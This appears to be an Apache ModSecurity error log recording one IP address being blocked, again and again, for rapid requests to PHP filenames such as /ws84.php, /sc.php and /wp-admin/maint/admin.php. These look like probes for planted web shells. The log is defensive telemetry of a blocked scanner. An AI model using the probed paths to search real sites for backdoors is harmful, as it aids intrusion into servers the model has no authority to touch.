[Fri Apr 03 01:34:33.996974 2026] [:error] [pid 25018:tid 25422] [client 158.158.110.103:56271] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc0252.php"] [unique_id "ac6oqXupR6lXnAUzFGr4ogAAAEk"]
[Fri Apr 03 01:34:34.486331 2026] [:error] [pid 25035:tid 25463] [client 158.158.110.103:54547] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc0252.php"] [unique_id "ac6oqhhR292toNOkLqG29wAAAJU"]
[Fri Apr 03 01:34:34.982208 2026] [:error] [pid 25470:tid 25496] [client 158.158.110.103:56296] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc0252.php"] [unique_id "ac6oqnhROcck6_9HYygZGwAAANg"]
[Fri Apr 03 01:34:35.466393 2026] [:error] [pid 25035:tid 25444] [client 158.158.110.103:54559] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xc0252.php"] [unique_id "ac6oqxhR292toNOkLqG2-gAAAII"]
[Fri Apr 03 01:34:35.946600 2026] [:error] [pid 25010:tid 25373] [client 158.158.110.103:56987] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws84.php"] [unique_id "ac6oq4_KcjFQF5TuqTWovgAAABg"]
[Fri Apr 03 01:34:36.434073 2026] [:error] [pid 25470:tid 25476] [client 158.158.110.103:54566] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws84.php"] [unique_id "ac6orHhROcck6_9HYygZIwAAAMQ"]
[Fri Apr 03 01:34:36.924372 2026] [:error] [pid 25018:tid 25432] [client 158.158.110.103:60105] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws84.php"] [unique_id "ac6orHupR6lXnAUzFGr4pgAAAFM"]
[Fri Apr 03 01:34:37.410310 2026] [:error] [pid 25470:tid 25489] [client 158.158.110.103:42074] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws84.php"] [unique_id "ac6orXhROcck6_9HYygZKgAAANE"]
[Fri Apr 03 01:34:37.894213 2026] [:error] [pid 25470:tid 25474] [client 158.158.110.103:40909] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "ac6orXhROcck6_9HYygZLwAAAMI"]
[Fri Apr 03 01:34:38.377801 2026] [:error] [pid 25470:tid 25484] [client 158.158.110.103:60113] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "ac6ornhROcck6_9HYygZNQAAAMw"]
[Fri Apr 03 01:34:38.869283 2026] [:error] [pid 25035:tid 25450] [client 158.158.110.103:60140] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "ac6orhhR292toNOkLqG3AAAAAIg"]
[Fri Apr 03 01:34:39.346852 2026] [:error] [pid 25010:tid 25372] [client 158.158.110.103:56318] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sc.php"] [unique_id "ac6or4_KcjFQF5TuqTWoxwAAABc"]
[Fri Apr 03 01:34:39.831078 2026] [:error] [pid 25470:tid 25488] [client 158.158.110.103:58858] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mis.php"] [unique_id "ac6or3hROcck6_9HYygZQwAAANA"]
[Fri Apr 03 01:34:40.320990 2026] [:error] [pid 25035:tid 25444] [client 158.158.110.103:60139] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mis.php"] [unique_id "ac6osBhR292toNOkLqG3BAAAAII"]
[Fri Apr 03 01:34:40.801067 2026] [:error] [pid 25470:tid 25481] [client 158.158.110.103:58843] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mis.php"] [unique_id "ac6osHhROcck6_9HYygZTQAAAMk"]
[Fri Apr 03 01:34:41.284956 2026] [:error] [pid 25010:tid 25361] [client 158.158.110.103:54570] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mis.php"] [unique_id "ac6osY_KcjFQF5TuqTWoywAAAAw"]
[Fri Apr 03 01:34:41.779683 2026] [:error] [pid 25470:tid 25487] [client 158.158.110.103:60138] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zogy1.php"] [unique_id "ac6osXhROcck6_9HYygZVwAAAM8"]
[Fri Apr 03 01:34:42.261166 2026] [:error] [pid 25470:tid 25494] [client 158.158.110.103:56967] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zogy1.php"] [unique_id "ac6osnhROcck6_9HYygZXgAAANY"]
[Fri Apr 03 01:34:42.749178 2026] [:error] [pid 25035:tid 25451] [client 158.158.110.103:40904] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zogy1.php"] [unique_id "ac6oshhR292toNOkLqG3CgAAAIk"]
[Fri Apr 03 01:35:01.875321 2026] [:error] [pid 25010:tid 25359] [client 158.158.110.103:54546] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "ac6oxY_KcjFQF5TuqTWpIQAAAAs"]
[Fri Apr 03 01:35:02.360674 2026] [:error] [pid 25470:tid 25475] [client 158.158.110.103:52126] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "ac6oxnhROcck6_9HYygZ7QAAAMM"]
[Fri Apr 03 01:35:02.846271 2026] [:error] [pid 25018:tid 25431] [client 158.158.110.103:40945] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "ac6oxnupR6lXnAUzFGr4wQAAAFI"]
[Fri Apr 03 01:35:03.331783 2026] [:error] [pid 25018:tid 25434] [client 158.158.110.103:40921] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "ac6ox3upR6lXnAUzFGr4wgAAAFU"]
[Fri Apr 03 01:35:03.829204 2026] [:error] [pid 25010:tid 25372] [client 158.158.110.103:56264] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "ac6ox4_KcjFQF5TuqTWpKAAAABc"]
[Fri Apr 03 01:35:04.316202 2026] [:error] [pid 25035:tid 25456] [client 158.158.110.103:54569] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "ac6oyBhR292toNOkLqG3NQAAAI4"]
[Fri Apr 03 01:35:04.811812 2026] [:error] [pid 25035:tid 25443] [client 158.158.110.103:58820] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "ac6oyBhR292toNOkLqG3NgAAAIE"]
[Fri Apr 03 01:35:05.305500 2026] [:error] [pid 25470:tid 25483] [client 158.158.110.103:38302] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "ac6oyXhROcck6_9HYygZ-AAAAMs"]
[Fri Apr 03 01:35:05.801189 2026] [:error] [pid 25470:tid 25485] [client 158.158.110.103:54529] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/torsa1.php"] [unique_id "ac6oyXhROcck6_9HYygZ-gAAAM0"]
[Fri Apr 03 01:35:06.302966 2026] [:error] [pid 25470:tid 25490] [client 158.158.110.103:56287] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/torsa1.php"] [unique_id "ac6oynhROcck6_9HYygaAAAAANI"]
[Fri Apr 03 01:35:06.814884 2026] [:error] [pid 25470:tid 25485] [client 158.158.110.103:60137] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/torsa1.php"] [unique_id "ac6oynhROcck6_9HYygaBQAAAM0"]
[Fri Apr 03 01:35:07.347757 2026] [:error] [pid 25470:tid 25487] [client 158.158.110.103:52115] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/torsa1.php"] [unique_id "ac6oy3hROcck6_9HYygaCAAAAM8"]
[Fri Apr 03 01:35:07.852326 2026] [:error] [pid 25470:tid 25475] [client 158.158.110.103:56315] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "ac6oy3hROcck6_9HYygaCwAAAMM"]
[Fri Apr 03 01:35:08.341199 2026] [:error] [pid 25470:tid 25483] [client 158.158.110.103:54560] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "ac6ozHhROcck6_9HYygaEAAAAMs"]
[Fri Apr 03 01:35:08.861856 2026] [:error] [pid 25018:tid 25433] [client 158.158.110.103:56995] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "ac6ozHupR6lXnAUzFGr4zAAAAFQ"]
[Fri Apr 03 01:35:09.365008 2026] [:error] [pid 25470:tid 25492] [client 158.158.110.103:54539] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/to.php"] [unique_id "ac6ozXhROcck6_9HYygaGAAAANQ"]
[Fri Apr 03 01:35:09.881260 2026] [:error] [pid 25010:tid 25357] [client 158.158.110.103:40934] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wqqs.php"] [unique_id "ac6ozY_KcjFQF5TuqTWpOAAAAAk"]
[Fri Apr 03 01:35:10.364675 2026] [:error] [pid 25470:tid 25484] [client 158.158.110.103:54575] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wqqs.php"] [unique_id "ac6oznhROcck6_9HYygaIQAAAMw"]
[Fri Apr 03 01:35:10.870247 2026] [:error] [pid 25018:tid 25418] [client 158.158.110.103:52169] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wqqs.php"] [unique_id "ac6oznupR6lXnAUzFGr4zQAAAEU"]
[Fri Apr 03 01:35:11.349391 2026] [:error] [pid 25010:tid 25366] [client 158.158.110.103:60157] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wqqs.php"] [unique_id "ac6oz4_KcjFQF5TuqTWpPgAAABE"]
[Fri Apr 03 01:35:11.830719 2026] [:error] [pid 25010:tid 25353] [client 158.158.110.103:56279] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "ac6oz4_KcjFQF5TuqTWpQAAAAAU"]
[Fri Apr 03 01:35:12.317176 2026] [:error] [pid 25470:tid 25489] [client 158.158.110.103:60115] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "ac6o0HhROcck6_9HYygaLAAAANE"]
[Fri Apr 03 01:35:12.827336 2026] [:error] [pid 25010:tid 25349] [client 158.158.110.103:54568] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "ac6o0I_KcjFQF5TuqTWpSAAAAAI"]
[Fri Apr 03 01:35:13.313545 2026] [:error] [pid 25010:tid 25372] [client 158.158.110.103:41507] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wps.php"] [unique_id "ac6o0Y_KcjFQF5TuqTWpSgAAABc"]
[Fri Apr 03 01:35:13.801558 2026] [:error] [pid 25470:tid 25488] [client 158.158.110.103:57023] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "ac6o0XhROcck6_9HYygaMQAAANA"]
[Fri Apr 03 01:35:14.324095 2026] [:error] [pid 25470:tid 25489] [client 158.158.110.103:52133] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "ac6o0nhROcck6_9HYygaNAAAANE"]
[Fri Apr 03 01:35:14.810131 2026] [:error] [pid 25470:tid 25481] [client 158.158.110.103:54563] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "ac6o0nhROcck6_9HYygaOgAAAMk"]
[Fri Apr 03 01:35:15.308252 2026] [:error] [pid 25470:tid 25477] [client 158.158.110.103:52176] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "ac6o03hROcck6_9HYygaPAAAAMU"]
[Fri Apr 03 01:35:15.791005 2026] [:error] [pid 25470:tid 25487] [client 158.158.110.103:60134] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aifa.php"] [unique_id "ac6o03hROcck6_9HYygaPwAAAM8"]
[Fri Apr 03 01:35:16.275068 2026] [:error] [pid 25018:tid 25412] [client 158.158.110.103:57002] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aifa.php"] [unique_id "ac6o1HupR6lXnAUzFGr40gAAAEE"]
[Fri Apr 03 01:35:16.774861 2026] [:error] [pid 25010:tid 25363] [client 158.158.110.103:60156] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aifa.php"] [unique_id "ac6o1I_KcjFQF5TuqTWpUQAAAA4"]
[Fri Apr 03 01:35:17.262596 2026] [:error] [pid 25470:tid 25473] [client 158.158.110.103:56311] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aifa.php"] [unique_id "ac6o1XhROcck6_9HYygaRwAAAME"]
[Fri Apr 03 01:35:17.753272 2026] [:error] [pid 25010:tid 25359] [client 158.158.110.103:56290] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "ac6o1Y_KcjFQF5TuqTWpVAAAAAs"]
[Fri Apr 03 01:35:18.278351 2026] [:error] [pid 25035:tid 25448] [client 158.158.110.103:60120] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "ac6o1hhR292toNOkLqG3RQAAAIY"]
[Fri Apr 03 01:35:18.790645 2026] [:error] [pid 25470:tid 25485] [client 158.158.110.103:58832] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "ac6o1nhROcck6_9HYygaTgAAAM0"]
[Fri Apr 03 01:35:19.289073 2026] [:error] [pid 25010:tid 25363] [client 158.158.110.103:42090] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool.php"] [unique_id "ac6o14_KcjFQF5TuqTWpWwAAAA4"]
[Fri Apr 03 01:35:19.796661 2026] [:error] [pid 25018:tid 25411] [client 158.158.110.103:52190] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/feokc.php"] [unique_id "ac6o13upR6lXnAUzFGr41QAAAEA"]
[Fri Apr 03 01:35:20.290616 2026] [:error] [pid 25470:tid 25495] [client 158.158.110.103:60102] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/feokc.php"] [unique_id "ac6o2HhROcck6_9HYygaVQAAANc"]
